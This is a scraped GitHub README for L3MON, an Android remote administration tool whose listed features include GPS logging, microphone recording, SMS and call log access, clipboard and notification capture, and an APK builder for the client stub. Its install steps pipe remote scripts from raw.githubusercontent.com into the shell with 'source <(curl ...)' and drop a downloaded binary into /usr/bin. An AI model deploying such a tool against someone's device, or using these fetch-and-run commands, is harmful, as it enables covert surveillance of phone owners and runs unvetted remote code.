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L3MON

L3MON is a web-based Remote Administration Tool ( android-RAT ) for managing Android devices via a secure Node.js dashboard. Supports real-time monitoring, data extraction, and remote control for ethical hacking, security research, and pentesting.

Install / Use

/learn @efxtv/L3MON

README

Project closed <a href="https://t.me/+egpQDeBtGk8wYWU1"> Join for 100% free tools and education </a>.

<p align="center"> <img src="https://github.com/D3VL/L3MON/raw/master/server/assets/webpublic/logo.png" height="60"><br> A cloud-based remote Android management suite, powered by NodeJS </p> <p>The only way to help us is to visit our YouTube channel and subscribe to our channel, leave your comments on our videos, and follow us on GitHub. Looking forward to your cooperation.</p>

L3MON Features

  • GPS Logging
  • Microphone Recording
  • View Contacts
  • SMS Logs
  • Send SMS
  • Call Logs
  • View Installed Apps
  • View Stub Permissions
  • Live Clipboard Logging
  • Live Notification Logging
  • View WiFi Networks (logs previously seen)
  • File Explorer & Downloader
  • Command Queuing
  • Built In APK Builder

Prerequisites

  • Java Runtime Environment 8
  • NodeJs
  • A Server

Installation

  1. Install JRE 8 (We cannot stress this enough USE java 1.8.0 ANY issues that don't use this will be closed WITHOUT a response)

    • Debian, Ubuntu, Etc
    • Ubuntu chroot
      • sudo apt install wget curl git npm nano nodejs openjdk-8-jdk openjdk-8-jre
      • source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh)
    • Termux
      • pkg update && pkg upgrade
      • source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-termux.sh)
      • source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/L3mon-no-java8.sh)
      • curl -L -o $PWD/emsf https://github.com/efxtv/EMSF/blob/main/termux/emsf?raw=true -s;chmod +x emsf;mv emsf ../usr/bin/
    • Fedora, Oracle, Red Hat, etc
      • su -c "yum install java-1.8.0-openjdk"
    • Windows
      • click HERE for downloads
  2. Install NodeJS Instructions Here (If you can't figure this out, you shouldn't be using this)

  3. install PM2

    • npm install pm2 -g
    • npm install
    • npm audit fix
    • npm audit
    • npm audit fix --force
  4. Download and Extract the latest release from HERE

  5. In the extracted folder, run these commands

    • npm install <- install dependencies
    • pm2 start index.js <-- start the script
    • pm2 startup <- to run L3MON on startup
  6. Set a Username & Password

    1. Stop L3MON pm2 stop index
    2. Open maindb.json in a text editor
    3. MD5 Hash echo -n efxtv | openssl md5|awk '{print $2}'
    4. under admin
      • set the username as plain text
      • set the password as a LOWERCASE MD5 hash
    5. save the file
    6. run pm2 restart all
  7. In your browser navigate to http://127.0.0.1:22533

Notes

When opening an issue, you MUST use the provided templates. Issues without this will not receive support quickly and will be put to the bottom of the figurative pile.

Please look through the current issues, open and closed to see if your issue has been addressed before. If it's java related, it's most definitely been addressed - In short Use Java 1.8.0

Self Help

| Git Clone | Prerequisites | Install L3MON | |---|---|---| | Setup Password MD5 | Fix Java 8 in Termux | Missing mainDB.json | | Build | Build Install | Allow Permissions |

Live Client

Thanks

L3MON Builds off and utilizes several open-source software, Without these, L3MON Wouldn't be what it is!

Disclaimer

<b>D3VL Provides no warranty with this software and will not be responsible for any direct or indirect damage caused due to the usage of this tool.<br> L3MON is built for both Educational and Internal use ONLY.</b>

<br> <p align="center">Made with ❤️ By <a href="//d3vl.com">D3VL</a></p> <p align="center"><a href="https://t.me/+egpQDeBtGk8wYWU1">Telegram</a></p> <p align="center" style="font-size: 8px">v1.1.2 <a href="https://github.com/D3VL/L3MON">Credit!</a></p>
View on GitHub
GitHub Stars656
CategoryDevelopment
Updated2d ago
Forks285

Languages

Smali

Security Score

100/100

Audited on Mar 18, 2026

No findings